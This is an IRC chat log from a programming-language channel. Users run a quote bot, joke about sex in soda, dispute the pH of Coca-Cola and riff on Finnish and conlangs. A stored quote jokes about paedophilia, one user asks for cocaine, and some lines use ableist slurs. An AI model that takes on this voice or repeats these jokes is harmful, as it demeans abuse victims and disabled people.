23:42:49 <HackEgo> 324) <<<<<<< /tmp/hackenv.22235/quotes
23:42:51 <elliott> `quote 325
23:42:52 <HackEgo> 325) =======
23:42:53 <elliott> `quote 326
23:42:54 <elliott> `quote 327
23:42:54 <HackEgo> 326) <elliott> just because i'm homosexual / doesn't mean i have sex with men. / ...i'm also a paedophile
23:42:54 <elliott> `quote 328
23:42:56 <HackEgo> 327) =======
23:42:56 <HackEgo> 328) >>>>>>> /tmp/quotes~other.jicWNf
23:42:59 <elliott> bahahaha
23:43:07 <oklopol> idgi
23:43:11 <quintopia> `quote 330
23:43:12 <HackEgo> 330) >>>>>>> /tmp/quotes~other.XV8QqK
23:43:24 <quintopia> `quote 329
23:43:24 <HackEgo> 329) <elliott> just because i'm homosexual <elliott> doesn't mean i have sex with men. <elliott> ...i'm also a paedophile [...] <elliott> see if i'm a gay paedophile <elliott> i don't have sex with men <elliott> i have sex with BOYS
23:43:32 <oklopol> oh
23:43:37 <oklopol> elliott explained already
23:43:38 <quintopia> `delquote 323
23:43:39 <HackEgo> *poof*
23:43:41 <quintopia> `delquote 323
23:43:42 <HackEgo> *poof*
23:43:44 <quintopia> `delquote 323
23:43:45 <HackEgo> *poof*
23:43:47 <quintopia> `delquote 323
23:43:51 <HackEgo> *poof*
23:43:54 <quintopia> `quote 323
23:43:55 <HackEgo> 323) <elliott> just because i'm homosexual / doesn't mean i have sex with men. / ...i'm also a paedophile
23:43:58 <quintopia> `quote 323
23:43:59 <HackEgo> 323) <elliott> just because i'm homosexual / doesn't mean i have sex with men. / ...i'm also a paedophile
23:44:01 <quintopia> `delquote 323
23:44:02 <HackEgo> *poof*
23:44:04 <quintopia> `delquote 323
23:44:05 <HackEgo> *poof*
23:44:13 <quintopia> `quote 323
23:44:14 <HackEgo> 323) >>>>>>> /tmp/quotes~other.jicWNf
23:44:16 <elliott> lol
23:44:20 <quintopia> whoops
23:44:26 <quintopia> one more i guess
23:44:27 <quintopia> `quote 323
23:44:28 <HackEgo> 323) >>>>>>> /tmp/quotes~other.jicWNf
23:44:29 <quintopia> `delquote 323
23:44:31 <HackEgo> *poof*
23:44:33 <quintopia> `quote 323
23:44:36 <HackEgo> 323) <elliott> just because i'm homosexual <elliott> doesn't mean i have sex with men. <elliott> ...i'm also a paedophile [...] <elliott> see if i'm a gay paedophile <elliott> i don't have sex with men <elliott> i have sex with BOYS
23:44:41 <quintopia> `delquote 324
23:44:42 <HackEgo> *poof*
23:44:47 <quintopia> `quote 324
23:44:49 <HackEgo> 324) <oklopol> actually the first joke i thought elliott was making was that he's so small masturbation is gay pedophilia
23:44:53 <quintopia> kk
23:47:31 <oklopol> anyone in turku? i'd like some coke
23:48:05 <zzo38> `quote 325
23:48:05 <HackEgo> No output.
23:50:23 <Gregor> Are you saying you didn't like those quotes?
23:50:28 <Gregor> I thought they were great quotes.
23:50:29 <elliott> oklopol: define coke
23:50:54 <oklopol> meh
23:51:06 * Gregor goes to drink some meh.
23:51:26 <oklopol> FROM THIS MOMENT ON, EVERY TIME I SAY COKE I SHALL MEAN COCA COLA IN THE ONLY FUCKING SENSE OF THE WORD
23:51:37 <oklopol> i decided to do it
23:52:56 <Gregor> There's a fucking sense of "COCA COLA"? Some kind of sex act?
23:53:14 <Prince_Charles> Gregor, well, there is that myth that it's a contraceptive...
23:53:21 <Gregor> lawl, so there is
23:53:25 <oklopol> is there a mythbusters episode?
23:53:40 <Gregor> X-D
23:53:49 <Gregor> I think they mentioned it in their cola myths episode.
23:53:50 <Gregor> OH WAIT
23:53:53 <Gregor> THERE TOTALLY IS
23:53:56 <Gregor> They tested it!
23:53:57 <oklopol> but did they have sex
23:54:00 <oklopol> what? :D
23:54:00 <Gregor> No
23:54:08 <oklopol> okay
23:54:09 <Gregor> They mixed coke with sperm :P
23:54:12 <Gregor> I think it was Adam's.
23:54:15 <oklopol> bleh.
23:54:22 <oklopol> that proves nothing
23:54:38 <Prince_Charles> oklopol, well, it does if the sperm survive.
23:54:40 <Gregor> I think it was always thought to be a spermicide, not some more general contraceptive.
23:55:56 <oklopol> well, did it work?
23:56:18 <Prince_Charles> No, unless Adam's sperm are significantly less robust than average.
23:56:25 <Gregor> IIRC, the sperm seemed to like the Coke :P
23:56:47 * elliott injects coke into his testicles
23:56:51 <oklopol> i've always wanted to make love in a tub full of coke
23:56:52 <Prince_Charles> They would, it's full of sugar.
23:57:04 -!- elliott has left (?).
23:57:07 -!- elliott has joined.
23:57:12 <elliott> oklopol: "make love" WHAT DID YOU DO TO THE REAL OKLOPOL
23:57:21 <Prince_Charles> oklopol, are these the artistic differences that led to you and your girlfriend breaking up?
23:57:42 <oklopol> i felt like it was the appropriate word for inserting penis in vagina in coke
23:57:57 <oklopol> Prince_Charles: yes, she prefers sprite
23:58:27 <Prince_Charles> "The ONLY soft drink I will have sex with you in is Sprite!" "THEN WE'RE THROUGH!"
23:58:44 <pikhq> Gregor: Seems like Coke's acidity, at least, would be a bit much.
23:58:49 <oklopol> yes, we tried fanta, but that didn't work AT ALL.
23:59:18 <Prince_Charles> pikhq, ISTR that there was a study showing that it is nearly useless as a spermicide
23:59:20 <oklopol> (is fanta international?)
23:59:30 <Prince_Charles> oklopol, well, we have it here.
23:59:36 <Gregor> `addquote * elliott injects coke into his testicles
23:59:37 <oklopol> that's what i thought
23:59:37 <HackEgo> 325) * elliott injects coke into his testicles
2011-02-27
00:00:16 <pikhq> Prince_Charles: There was apparently a study showing it was an effective spermicide and one showing it wasn't.
00:00:17 <Prince_Charles> I really hope that this does show up if elliott's prospective employers Google him.
00:00:37 <elliott> It totally will.
00:00:38 <pikhq> Prince_Charles: The two studies earned their authors the 2008 Ig Nobel Prize in Chemistry.
00:00:38 -!- quintopia has quit (Read error: Operation timed out).
00:00:48 <Prince_Charles> XD
00:01:06 <oklopol> what? :D
00:01:27 -!- quintopia has joined.
00:01:27 -!- quintopia has quit (Changing host).
00:01:28 -!- quintopia has joined.
00:01:56 <pikhq> Hmm. Seems Coke has a pH of 2.5...
00:02:16 <pikhq> I'd *really* think that alone would do a number on most cells.
00:02:57 <Prince_Charles> pikhq, what, seriously?
00:03:14 <Gregor> Uhh, that seems wrong.
00:03:15 <quintopia> bah
00:03:16 <pikhq> Prince_Charles: Most sodas are pretty acidic.
00:03:17 <Prince_Charles> That's, like, the same as vinegar.
00:03:19 <quintopia> i lagged out again
00:03:20 <Gregor> Maybe Coke SYRUP has a pH of 2.5
00:03:26 <quintopia> this is terrible QoS
00:03:27 <Prince_Charles> AND THEY MOCKED ME FOR DRINKING BALSAMIC
00:03:33 <Gregor> pikhq: Dude, I make soda, it's not THAT acidic.
00:03:46 <pikhq> Gregor: Colas are at the high end.
00:03:48 <elliott> COKE MELTS SKIN
00:03:56 <Gregor> pikhq: IT IS NOT AT FUCKING pH 2.5
00:04:02 <Gregor> pikhq: Wherever you read that is wrong.
00:04:34 <Prince_Charles> I get 3.4 on the first Google hit.
00:04:59 <Prince_Charles> OTOH, http://biology.clc.uc.edu/scripts/phresl.pl reports it as 2.75.
00:05:31 <Prince_Charles> And regular Coke has a pH of 2.0.
00:06:12 <Prince_Charles> ...which is less than that of red wine vinegar.
00:06:37 <pikhq> Prince_Charles: Red wine vinegar probably isn't sweetened.
00:06:55 <Prince_Charles> And only a little more than that of rice vinegar.
00:07:02 <pikhq> Gregor: Well, one of the main ingredients in Coke is freaking phosphoric acid.
00:08:22 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
00:09:39 <Prince_Charles> oklopol, would you reconsider having sex in a bath of coke based on this new information?
00:10:38 <pikhq> And I'm finding a lot of citations for the pH of Coke being around 2.5...
00:10:40 <oklopol> actually, i might.
00:10:50 <oklopol> because i don't know what would happen
00:10:53 <pikhq> Not the syrup, the actual end result.
00:10:57 <oklopol> i do enjoy the idea of bubbly bubbly
00:12:06 <Prince_Charles> oklopol, perhaps your girlfriend was reasonable in her preference of Sprite, and you dismissed her unjustly?
00:12:44 <pikhq> Prince_Charles: Sprite isn't much better.
00:12:46 <oklopol> indeed. i would call right away, but she just moved to ethiopia.
00:13:04 <Prince_Charles> oklopol, conclusion: you're both idiots.
00:13:17 <oklopol> :P
00:13:24 <pikhq> How's about milk?
00:13:33 <Gregor> pikhq: Yes, and I know how much phosphoric acid goes into it. It's not a lot.
00:13:39 <elliott> i wouldn't put my genitalia in coke.
00:13:46 <Prince_Charles> pikhq, hmm, that page gives Sprite as pH 5.
00:13:58 <pikhq> Prince_Charles: Oh, hey, that is quite a bit better.
00:13:59 -!- poiuy_qwert has joined.
00:14:01 <Prince_Charles> Or 3.9 for pure Sprite.
00:14:25 <Prince_Charles> But since pHes are logarithmic, that's nearly a hundred times less acidic than Coke.
00:15:20 <Prince_Charles> oklopol, I suppose you could just use carbonated water.
00:15:29 <zzo38> Did you read the quotations on page 365 (the end of Appendix B) of the TeXbook?
00:15:55 <pikhq> Gregor: A 10^-2 molar solution of phosphoric acid is 2.25 pH.
00:17:13 <Prince_Charles> Given that the pH of carbonated water alone is between 3 and 4, Sprite seems as good a choice as any from an acidity standpoint.
00:17:30 <oklopol> and you get to see tits too!
00:17:38 <pikhq> Ah, yeah, and carbonated water is itself a solution of carbonic acid.
00:17:39 <Ilari> OTOH, Sprite has sugar in it.
00:17:52 <oklopol> Ilari: sugar is bad for the genitals?
00:17:52 <Prince_Charles> Ilari, hence "from an acidity standpoint".
00:17:55 <Gregor> s/sugar/high-fructose corn syrup/ :P
00:18:12 <Ilari> But watch out for carbonated water that has sugar in it (yes, that exists).
00:18:29 <Ilari> Well, sugar is bad news for pretty much anything... :-)
00:18:34 <oklopol> i'm sure i'd use whatever's the cheapest
00:18:39 <oklopol> you'd need quite a lot of it
00:18:47 <Prince_Charles> oklopol, well, carbonated water then.
00:18:51 <elliott> <Gregor> s/sugar/high-fructose corn syrup/ :P
00:18:53 <elliott> only in the usa.
00:18:56 <Gregor> Yeahyeah
00:18:58 <Gregor> Just being a durp
00:19:08 <oklopol> dupr
00:19:44 <pikhq> oklopol: Straight corn syrup, then.
00:20:08 <pikhq> Because of government subsidies, it has a negative cost of production, IIRC.
00:20:43 <oklopol> ooh, syrup might be fun too
00:21:21 -!- cheater00 has joined.
00:21:21 <elliott> oklopol: do it in treacle.
00:21:28 <Prince_Charles> oklopol, even *worse* from a sugar point of view.
00:21:40 <pikhq> Prince_Charles: Yes, but external application of sugar is kinda moot.
00:22:05 <Prince_Charles> pikhq, yes, but sex kind of implies a degree of internal application.
00:22:28 <elliott> i don't have a vagina but i think that might be painful
00:22:49 <pikhq> On the other hand, sugar could produce a yeast infection.
00:23:04 <elliott> oklopol: do it in liquid sugar
00:23:05 <elliott> fuck yeah
00:23:10 <elliott> carbonated liquid sugar
00:23:13 <pikhq> elliott: Owowowowow.
00:23:37 <Prince_Charles> elliott, sugar doesn't melt at non-burny temperatures.
00:23:53 <pikhq> Prince_Charles: You should specify pressure.
00:23:55 <oklopol> hot sex hahahahaha
00:23:58 -!- cheater- has quit (Ping timeout: 240 seconds).
00:24:07 <elliott> what pikhq said
00:24:09 <oklopol> i wonder if anyone's realized hot means two different things
00:24:11 <Gregor> You can supersaturate water with sugar.
00:24:16 <elliott> PRESSURE, PUSHIN' DOWN ON ME
00:24:19 <Prince_Charles> 186°C, apparently.
00:24:20 <Gregor> You could have syrup that's like three parts sugar, one part water.
00:24:23 <Gregor> Carbonate that bitch.
00:24:33 <pikhq> Gregor: Not the same as sugar in its liquid state.
00:24:43 <elliott> man this carbonated sex thing does not sound so appealing.
00:24:44 <Gregor> pikhq: Duh.
00:24:50 <elliott> Gregor: *8 parts sugar, 1 part water
00:24:53 <elliott> SO MUCH SUGAR
00:25:11 <pikhq> *G₆₄ parts sugar, 1 part water
00:25:14 <Gregor> Pretty sure three is already pushing the limit :P
00:25:21 -!- GreaseMonkey has joined.
00:25:26 <elliott> *infinity parts sugar, 0 parts water
00:25:54 <oklopol> elliott: my master's thesis is about why infinity is not a number
00:25:56 <pikhq> *1 part sugar, 1 part sugar
00:26:03 <elliott> oklopol: lol
00:26:10 <pikhq> oklopol: Define "number".
00:26:14 <pikhq> :)
00:26:30 <oklopol> i do that on page 23
00:26:48 -!- azaq23 has quit (Ping timeout: 250 seconds).
00:26:53 <elliott> "a number is a hyperreal
00:26:54 <elliott> ...
00:26:55 <elliott> shit"
00:27:05 <Gregor> oklopol: If that's a MASTER'S thesis, it sounds like a Master's thesis in a field that you can't get a job with a Master's ...
00:27:07 <pikhq> As snarky as that comment was, I did in fact mean it in all seriousness — you really do need to define what numbers *are* in order to determine whether or not infinity is one.
00:27:12 -!- azaq23 has joined.
00:27:46 <oklopol> Gregor: 1) my master's thesis is not about infinity 2) that's true for what it actually is about as well 3) who the fuck stops at master's?
00:28:06 <elliott> Gregor stopped at master's
00:28:08 <elliott> because he's dumb
00:28:09 <pikhq> oklopol: Most people stop before a master's.
00:28:11 <Gregor> Dood I skipped right over Master's :P
00:28:16 <elliott> yeah
00:28:18 <elliott> too dumb to be a master
00:28:24 <elliott> he's just a doctor now
00:28:26 <elliott> well
00:28:27 <elliott> not even that yet
00:28:29 <elliott> lol
00:28:30 <elliott> he's a retardy
00:28:35 <elliott> (so glad he isn't an op right now)
00:28:38 <pikhq> He's a bachelor.
00:28:58 <oklopol> yeah that's possible too, but most of my results would've gone to waste
00:29:11 <oklopol> because i don't wanna do a phd in this topic
00:29:26 <elliott> what's your poopd gonna be in
00:29:32 <oklopol> i have absolutely no idea
00:29:33 <elliott> EXCLUSIVELY USELESS MATH?
00:29:38 <oklopol> hopefully
00:29:42 <pikhq> elliott: The math of poop.
00:29:51 <oklopol> i'd like to do something really abstract and insane that no one understand
00:29:51 <elliott> in that course, anyone who mentions "oh yeah I did this thing wh-" gets shot
00:30:00 <elliott> oklopol: what, don't you masturbate already?
00:30:01 <elliott> ohh
00:30:03 <elliott> that was some wordplay
00:30:06 <elliott> fuckin' WIT
00:30:08 <oklopol> *understands
00:30:10 <elliott> do you get it oklopol
00:30:16 <elliott> you're the really abstract and insane thing that no one understands
00:30:17 <elliott> DO
00:30:17 <elliott> get it
00:30:19 <elliott> ahahahahahoijxklmc
00:30:19 <elliott> hopfgkfe[
00:31:07 <pikhq> And in 2020, when poop becomes the mainstream computation method (it's complex and involves physics that won't be invented for 5 more years — don't ask), his poop math degree will be the most valuable thing ever.
00:31:35 * Prince_Charles → sleep
00:31:44 <elliott> pikhq: i approve
00:31:46 <elliott> oklopol: have sex in poop.
00:31:50 <elliott> carbonated poop.
00:31:55 -!- Prince_Charles has quit (Remote host closed the connection).
00:32:06 <oklopol> there was this vid where a jap swam in cow shit for hours
00:32:19 <zzo38> Why do you want to have sex in everything? I don't want.
00:32:30 <elliott> `addquote <zzo38> Why do you want to have sex in everything? I don't want.
00:32:31 <HackEgo> 326) <zzo38> Why do you want to have sex in everything? I don't want.
00:32:38 <elliott> "I don't want." is a brilliant sentence
00:32:42 <oklopol> actually the one i bumped into was GIRL SWIMMING IN COW SHIT *TWO*
00:32:53 <elliott> electric boogaloo?
00:32:59 <pikhq> oklopol: I can only hope that she was drunk.
00:33:02 <oklopol> good to know one was not enough
00:33:05 <elliott> drunk on cow shit
00:33:10 <zzo38> Once someone told me he was going to call the president and tell him to remove the words "I don't want" from the dictionary.
00:33:15 <oklopol> pikhq: well i didn't watch all of it, but i doubt it
00:33:21 <elliott> oklopol: man i dunno, I liked Girl Swimming in Cow Shit
00:33:28 <elliott> but Girl Swimming in Cow Shit Two just felt... derivative
00:33:33 <elliott> none of the spark of the original, you know?
00:33:34 <oklopol> :P
00:33:50 <pikhq> elliott: I suppose it was a bit... Slope of the tangent line-y.
00:33:53 <oklopol> the trilogy was MUCH better as a book
00:34:07 <elliott> oklopol: definitely
00:34:14 <elliott> Girl Swimming in Cow Shit Three... the emotion
00:34:16 <elliott> the struggle
00:34:17 <elliott> the cow shit
00:34:19 <elliott> the girl
00:34:20 <elliott> the swimming
00:34:23 <oklopol> yes
00:34:23 <elliott> a masterpiece.
00:46:13 -!- sebbu2 has joined.
00:46:13 -!- sebbu2 has quit (Changing host).
00:46:13 -!- sebbu2 has joined.
00:49:10 -!- sebbu has quit (Ping timeout: 240 seconds).
00:49:10 -!- sebbu2 has changed nick to sebbu.
00:49:27 <elliott> 20:32:03 * pikhq wonders: would you call Hemingway any good?
00:49:28 <elliott> 20:32:15 <pikhq> We just started doing stuff on Hemingway, so. . .
00:49:28 <elliott> 20:32:31 <RodgerTheGreat> I liked "Old man and the sea" and "Of Mice and Men"
00:49:28 <elliott> 20:32:46 <pikhq> "Of Mice and Men" was pretty good, IIRC.
00:49:28 <elliott> 20:32:51 <RodgerTheGreat> the grapes of wrath was rather dull, but it had it's moments. That was another WTF ending.
00:49:29 <elliott> 20:33:02 <pikhq> Not read that one.
00:49:31 <elliott> 20:33:03 <RodgerTheGreat> His short stuff was the best, really
00:49:35 <elliott> 20:33:28 <pikhq> And "Of Mice and Men" and "Grapes of Wrath" are Steinbeck, not Hemingway.
00:49:37 <elliott> 20:33:44 <RodgerTheGreat> don't bother with the grapes of wrath, but read "the old man and the sea" sometime. Actually, you could probably run through it on project gutenburg in a couple hours.
00:49:40 <elliott> lol wut
00:49:42 <elliott> oh
00:49:44 <elliott> pikhq pointed out the error in that line :D
00:49:46 <elliott> i was all wutting
00:49:48 <elliott> but then pikhq wutted for me
00:49:50 <elliott> and now i'm all out of wuts to wu
00:49:52 <elliott> *wut
00:50:21 <elliott> pikhq, it's rude to wut me like that
00:51:03 <oklopol> old man and the sea = hey let's go fishing oh shit daz big i can't do it let's go get drunk and shit
00:51:13 <elliott> hey oklopol, have you read a work of fiction since 2008-01-22
00:51:29 <oklopol> i read the last harry potter like umm on sunday
00:51:40 <oklopol> not all of it, the last 100 pages, i've read it sporadically
00:52:11 <elliott> oklopol: YOU VIOLATED YOUR PACT
00:52:16 <elliott> with yourself
00:52:19 <elliott> or did you revoke it
00:52:39 <elliott> the last harry potter is a bit rubbish... actually it started going downhill after goblet of fire
00:52:53 <elliott> goblet is such a great word
00:52:54 <elliott> i could live in a goble
00:52:56 <elliott> goblet
00:53:50 <zzo38> How can you live in a goblet?
00:53:51 <elliott> so oklopol
00:53:52 <elliott> clue
00:55:05 <elliott> oklopol is having his mind blowed by his own language
00:56:17 <oklopol> clue is a best!
00:56:35 <elliott> oklopol: so did you do lambadas
00:56:46 <oklopol> the part where they just did nothing for hundreds of pages was good tho
00:57:39 <elliott> yeah that's like
00:57:40 <elliott> all of it
00:57:48 <oklopol> they had no idea what they were doing most of the book
00:58:08 <elliott> ACTION...nothing...nothing...nothing...(action)NOTHING...nothing...nothing...nothing..."wtf is going on" "man, for wizards, you think we'd know the shit that all wizards apparently know"
00:58:12 <elliott> "maybe we're just tarded"
00:58:17 <elliott> "maybe. let's keep finding out that 2+2=4."
00:58:22 <elliott> ...nothing...nothing...
00:58:25 <oklopol> yeah it's great how harry and ron still don't know fucking shit
00:58:27 <elliott> "hey voldemort's dead, when did that happen"
00:58:29 <elliott> [ THE END ]
00:58:33 <oklopol> without hermione, they would die on every page
00:58:37 <elliott> sorry for spoiling
00:58:41 <elliott> you know
00:58:43 <elliott> that voldemort dies
00:58:53 <oklopol> and then harry suddenly beats everyone on the last 5 pages and is all hero and shit
00:58:56 <elliott> good triumphs over evil, who'da thunk it?!
00:59:04 <elliott> oklopol: maybe harry's like, secretly half-troll
00:59:12 <elliott> and he actually just whacks everyone on the head all the time :/
00:59:16 <elliott> but he thinks he's doing magic
00:59:20 <elliott> and he's the one writing the book
00:59:33 <oklopol> would make a sense
00:59:36 <elliott> what i'm saying is, voldemort is just a playground bully, they're all five years old, and harry has downs
00:59:48 -!- elliott has set topic: fuckin' literary analysis | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
01:00:23 <oklopol> oh you said spoiling
01:00:33 <oklopol> i read that as something between spelling and typoing
01:00:35 <elliott> xD
01:00:38 <elliott> spypoing
01:00:45 <elliott> spypoing, that would be a good day
01:00:46 <elliott> erm
01:00:47 <elliott> game
01:00:50 <elliott> you're a spy and you poing people.
01:00:53 <elliott> or things.
01:01:25 <oklopol> i have an exam overmorrow, so i have to sleep.
01:01:30 -!- SimonRC has quit (Ping timeout: 264 seconds).
01:01:33 -!- elliott has set topic: HAVE YOU EVER CAUSED A PLANET TO DISAPPEAR? | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
01:01:36 <elliott> oklopol: as long as you come back :
01:01:38 <elliott> *:|
01:01:41 <elliott> i realise i'm annoying
01:01:42 <elliott> but but
01:01:49 <elliott> don't make everyone else be deprived
01:01:51 <elliott> just because i suck
01:01:54 <oklopol> i noticed your language doesn't have a word for day after tomorrow so i borrowed the finnish one
01:02:13 <elliott> oklopol: but
01:02:14 <elliott> in finnish
01:02:16 <elliott> isn't it just
01:02:18 <elliott> daytodaynextnetx
01:02:20 <elliott> *nextnext
01:02:21 <elliott> because of
01:02:22 <elliott> you know
01:02:24 <elliott> agglutination
01:02:28 <elliott> which is clearly applied universally
01:02:32 <elliott> because that's the only thing that makes sense?
01:02:33 <oklopol> ah yeah that polar bear thing
01:02:37 <elliott> ...wat
01:02:45 <oklopol> what?
01:02:48 <oklopol> yeah
01:03:05 <elliott> what polar bear thing
01:03:07 <oklopol> yeah we're totally agglutinative, and also slightly concatenative
01:03:14 <elliott> THAT'S THE SAME THING
01:03:18 <elliott> ok oklopol what is the finnish for "day"
01:03:22 <oklopol> piv
01:03:27 <elliott> and in the phrase "this day", what is the finnish for "this"
01:03:36 <oklopol> tm
01:03:41 <elliott> what's the finnish for "next"
01:03:44 <oklopol> seuraava
01:03:49 <elliott> oklopol: päivätämäseuraavaseuraava
01:03:52 <elliott> oklopol: what does that mean
01:04:08 <oklopol> it means roughtly daythisnextnext
01:04:12 <oklopol> *roughly
01:04:14 <elliott> oklopol: BUT DOES IT MAKE SENSE
01:04:32 <oklopol> well maybe not as much as daythisnextnext, but good enough.
01:04:37 <elliott> xD
01:04:45 <elliott> well does päivätämä make sense for "today"
01:05:19 <zzo38> Is "daythisnextnext" like the day after tomorrow?
01:05:34 <elliott> yes!
01:05:56 <oklopol> piv tm could be a poetic way to say this day. sounds a bit silly ofc.
01:06:35 <elliott> oklopol: hmm, what's finnish for today
01:06:37 <elliott> and what's finnish for after
01:06:51 <oklopol> today=tnn, after=jlkeen
01:06:59 <elliott> tänäänjälkeen
01:07:04 <elliott> DOES THAT SOUND LESS SILLY
01:07:25 <oklopol> well unlike piv tm, that one could not mean anything
01:07:30 <oklopol> but i like it
01:07:38 <elliott> tänäänjälkeenjälkeen
01:07:45 <elliott> oklopol: wait what's the finnish for "twice"
01:07:50 <oklopol> kahdesti
01:07:52 <elliott> tänäänjälkeenkahdesti
01:07:56 <oklopol> :D
01:07:59 <elliott> from now on whenever you have to say the day after tomorrow in finnish
01:08:00 <elliott> say that
01:08:08 <oklopol> you should write all my finnish from now one
01:08:09 <oklopol> *on
01:08:17 <elliott> oklopol: heck, if you have to say like
01:08:20 <elliott> today
01:08:23 <elliott> oklopol: ok i need some words
01:08:32 <elliott> oklopol: what's the finnish for "period" as in period of time, what's the finnish for "time"
01:08:32 <oklopol> i have a few
01:08:36 <elliott> actually wait
01:08:39 <oklopol> kausi aika
01:08:39 <elliott> oklopol: what's the finnish for twenty-four
01:08:41 <elliott> what's the finnish for hours
01:08:46 <oklopol> kaksikymmentnelj
01:08:49 <oklopol> tunti
01:09:07 <elliott> what's the finnish for "current"
01:09:13 <oklopol> tmnhetkinen
01:09:23 <elliott> oklopol: kaksikymmentäneljätuntiaikakausitämänhetkinenseuraava
01:09:26 <oklopol> depends on the usage prolly
01:09:27 <elliott> that's "tomorrow"
01:09:34 <elliott> current as in, present
01:09:35 <oklopol> of course it is
01:09:42 <elliott> oklopol: does that actually like...parse
01:10:00 <oklopol> well i know it's stack-based so i can parse it just fine
01:10:11 <oklopol> but that's just a stack of finnish words in random order
01:10:12 <oklopol> :P
01:10:24 <elliott> oklopol: see i interpret agglutinative to mean polysynthetic
01:10:27 <elliott> where that WOULD make sense :P
01:10:30 <elliott> http://esolangs.org/wiki/Main_Page
01:10:33 <elliott> added that wonderful word to our front page
01:10:37 <oklopol> kaksikymmentäneljätuntiaikakausi is an okay compound
01:10:49 <elliott> what does that mean, without the rest
01:10:49 <oklopol> imo, other finns might disagree violently tho
01:11:14 <oklopol> elliott: i know you interpret agglutinative to mean polysynthetic
01:11:18 <oklopol> that's why i said polar bear
01:11:22 <elliott> "Twenty-Four Hour Period As One moment" --Google Translate on "kaksikymmentäneljätuntiaikakausitämänhetkinen"
01:11:22 <elliott> oklopol: xD
01:11:34 <elliott> "as one moment" actually makes that make sense
01:11:36 <elliott> but it's probably a mistranslation
01:11:53 <elliott> my next esolang will be called Kaksikymmentäneljätuntiaikakausitämänhetkinen.
01:12:15 <oklopol> tmn hetkinen kahdenkymmenenneljn tunnin ajanjakso
01:12:19 <elliott> oklopol: what's the finnish for true, false, and or
01:12:19 <oklopol> = today
01:12:22 <oklopol> erm
01:12:25 <oklopol> tmnhetkinen
01:12:34 <elliott> *tämänhetkinenkahdenkymmenenneljäntunninajanjakso
01:12:41 <oklopol> true=tosi, false=eptosi, or=tai
01:12:44 <oklopol> and also vai
01:13:00 <elliott> oklopol: whenever you want to say "dunno" or "maybe" say tosiepätositai instead
01:13:11 <elliott> "Is it true that you're an asshole?" "Tosiepätositai."
01:13:11 <oklopol> in finnish, if someone asks you if you want coffee or tea, you can't say "yes"
01:13:19 <elliott> sure you can
01:13:22 <elliott> you'll just get punched
01:13:39 <oklopol> no, you get punched in uk, in finland people don't understand you
01:13:46 <elliott> :D
01:13:57 <elliott> oklopol: maybe i'll learn finlandish instead of pajamaese
01:13:58 <oklopol> because that's like answering "final seventh"
01:14:00 <elliott> sorry japanese
01:14:12 <elliott> wait wait lemme construct a finnish sentence with google translate and my own ingenuity
01:14:29 <oklopol> japanese is fun
01:14:45 <elliott> oklopol lausetämänarvostavaja on
01:14:45 <pikhq> elliott: でも日本では漢字有る!漢字が大好きな物だよっ!
01:14:52 <oklopol> you can just say a sentence and put "no" after it to make it an event, quite as sexily as in lojban
01:14:56 <pikhq> s/日本/日本語/
01:14:59 <elliott> lol google translate won't even touch that middle word
01:15:10 <elliott> oklopol: parse dat
01:15:44 <oklopol> sentence of this one that esteems and is
01:15:53 <elliott> oklopol: xD
01:15:54 <elliott> oklopol: it was
01:16:06 <elliott> oklopol sentencethisappreciatesof is
01:16:07 <elliott> or something
01:16:14 <elliott> 22:49:32 <oklopol> i made an attempt once at a natural language with as little vocab as possible
01:16:14 <elliott> 22:49:43 <oklopol> 15 words could already do a lot
01:16:14 <elliott> 22:49:56 <adu> hmm, which words?
01:16:14 <elliott> 22:50:22 <oklopol> hmm, some logic, derivative, integration and "world"
01:16:14 <elliott> 22:50:28 <oklopol> also, i think i had some concept of identity
01:16:15 <elliott> 22:50:44 <adu> interesting
01:16:16 <elliott> 22:50:46 <oklopol> world was for getting something physical in
01:16:19 <elliott> hey was that that one you pasted a vocab for in like 2007?
01:16:24 <oklopol> pikhq: what's 漢字
01:16:28 <pikhq> Kanji.
01:16:39 <oklopol> what's it mean i mean
01:16:43 <pikhq> Kanji.
01:16:44 <copumpkin> chinese character
01:16:47 <oklopol> oh lol
01:16:50 <oklopol> indeed :DD
01:16:55 <elliott> 22:54:09 <oklopol> "lalna", my other lang, had a separate module for geometry, you could explain a chair in that one quite easily without an actual word for chair.
01:16:56 <elliott> oh, that was lalna
01:17:00 <oklopol> looked familiar
01:17:02 <elliott> i wanna learn oklopol's languages
01:17:06 <elliott> they sound fun.
01:17:07 <oklopol> but couldn't quite finger it
01:17:42 <elliott> 23:02:09 <oklopol> so basically, balls would take their shape from 1. how unique they are, or how far they are from others, and 2. their importance... the probability at which a certain object is described should grant it greater space
01:17:42 <elliott> 23:02:31 <oklopol> *nearer
01:17:45 <elliott> lol, balls
01:17:47 <oklopol> lalna was awesome yeah
01:18:00 <elliott> oklopol: can you like revive lalna so i can learn it ;x
01:18:23 <elliott> oklopol: wait wait was lalna polysynthetic
01:18:24 <elliott> i sure hope so
01:18:38 <oklopol> not really, i don't know what polysyntheticism is really
01:18:56 <elliott> oklopol: words are formed by piling other words on top of them \o/
01:18:58 -!- SimonRC has joined.
01:19:03 <elliott> obviously the only sane way to do things
01:19:05 <elliott> not having that is like
01:19:07 <elliott> not having function composition
01:19:12 <oklopol> elliott: oh kinda like in every language
01:19:22 <elliott> oklopol: not in english, or german or
01:19:23 <elliott> or
01:19:25 <elliott> all shitty languages basically
01:19:39 <elliott> http://en.wikipedia.org/wiki/Polysynthetic_language#Examples
01:19:39 <oklopol> or you mean, polysynthetic = form sentences WITHOUT RULES
01:19:42 <elliott> oklopol: http://en.wikipedia.org/wiki/Polysynthetic_language#Examples
01:19:51 <elliott> basically you do to the language what i did to finnish
01:19:52 <elliott> (violate it)
01:20:49 <oklopol> makes sense
01:20:52 <pikhq> elliott: Mmm.
01:20:57 <elliott> pikhq: ?
01:21:09 <elliott> oklopol: so did lalna do THAT
01:21:13 <elliott> the vocab list was pretty i think
01:21:14 <pikhq> elliott: You'd probably like some of Japanese's word construction, then.
01:21:38 <oklopol> no lalna didn't do that
01:21:58 <elliott> oklopol: is this lalna http://www.vjn.fi/pb/p431131523.txt
01:22:07 <elliott> 03:14:14 <oklopol> if someone wants to make a better one, i can make that the stdlib
01:22:07 <elliott> 03:14:26 <oklopol> you'll get your nick on the credits of my language
01:22:07 <elliott> 03:15:14 <oklopol> i was first thinking i'd just automatically generate that from wiktionary + most used words
01:22:07 <elliott> 03:15:26 <oklopol> but that was just too complicated..
01:22:22 <oklopol> no
01:22:30 <elliott> man, that thing sucks, it has useless concepts like mother, and year :/
